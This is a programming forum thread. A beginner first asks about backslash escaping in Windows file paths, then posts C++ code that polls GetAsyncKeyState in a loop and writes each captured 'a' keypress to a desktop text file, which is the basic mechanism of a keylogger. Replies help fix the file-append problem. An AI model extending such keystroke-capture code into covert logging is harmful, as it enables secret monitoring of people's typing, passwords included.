-
file saving question
.open and .close to save files but i cant save any files that are not in my program directory. all i can type is ("test.txt") for it to work which saves it in the current directory. If i type ("C:\Documents and Settings\ Chris\desktop\test.txt") or ("C:\documentsandsettings\chris\desktop\test.tx t") it doesnt work. Can someone please help me out?
-
When you are using "\" in a string literal, it acts as an escape character.
Try this:
("C:\\Documents and Settings\\Chris\\desktop\\test.txt")
Constant Escape Sequences [C++ Reference]
-
ah thanks, i didnt know that
-
another question
k i got another question im using this code to print the key a in my file if the a key is pressed...
File... akfunc.h
Code:
#include <windows.h>
#include <iostream>
#include <string>
#include <fstream>
using namespace std;
ofstream myfile;
void aKey()
{
if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT) &&
GetAsyncKeyState(0x41) == -32767)
{
myfile.open ("C:\\Documents and Settings\\Chris\\desktop\\test.txt");
myfile << "a";
myfile.flush();
}
else if (GetAsyncKeyState(VK_SHIFT) && GetAsyncKeyState(0x41) == -32767 ||
GetKeyState(VK_CAPITAL) && GetAsyncKeyState(0x41) == -32767)
{
myfile.open ("C:\\Documents and Settings\\Chris\\desktop\\test.txt");
myfile << "A";
myfile.flush();
}
else if (GetAsyncKeyState(0x41) == -32767)
{
myfile.open ("C:\\Documents and Settings\\Chris\\desktop\\test.txt");
myfile << "a";
myfile.flush();
}
}
File... main.cpp
Code:
#include "stdafx.h"
#include "akfunc.h"
#include "nskfunc.h"
#include "skfunc.h"
#include <iostream>
#include <fstream>
using namespace std;
int main()
{
do
{
Sleep(10);
aKey();
}
while(1);
return 0;
}
-
-
oops
oops i forgot to add that. My question is when i press the "a" key all it does it add one "a" to the text file. If i press a again it doent add one.
-
You're repeatedly opening the file which dumps the content. Either open the file once or use
Code:
file.open(filename, ifstream::in);
Also; you never close the file.
You may also consider buffering the contents and rewriting the file with the buffer and the added characters. This will take sufficiently longer than streaming though.
-
my new code which still does the same thing. also i heard the .flush lets u reopen the file? i have tested the file by pressing shift + A and the "a" regular and it always only prints the first letter i have typed.
Code:
#include <windows.h>
#include <iostream>
#include <string>
#include <fstream>
using namespace std;
ofstream myfile;
void aKey()
{
if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT) &&
GetAsyncKeyState(0x41) == -32767)
{
myfile.open("c:\\documentsandsettings\\allusers\\desktop\\test.txt", ifstream::in);
myfile << "a";
myfile.flush();
myfile.close();
}
else if (GetAsyncKeyState(VK_SHIFT) && GetAsyncKeyState(0x41) == -32767 || //checks if Shift + key
GetKeyState(VK_CAPITAL) && GetAsyncKeyState(0x41) == -32767)
{
myfile.open("c:\\Documents and Settings\\All Users\\desktop\\test.txt", ifstream::in);
myfile << "A";
myfile.flush();
myfile.close();
}
else if (GetAsyncKeyState(0x41) == -32767)
{
myfile.open("c:\\Documents and Settings\\All Users\\desktop\\test.txt", ifstream::in);
myfile << "a";
myfile.flush();
myfile.close();
}
}
-
?
-
This opens the file and closes the file with out erasing the data contained inside.
Code:
ofstream file("C:\\FILENAME.txt", ios::in | ios::out);
if(file.is_open())
cout << "\n\nIt's open!" << endl;
file.close();
if(!file.is_open())
cout << "\nAnd now it's closed!" << endl;
Hope that helps!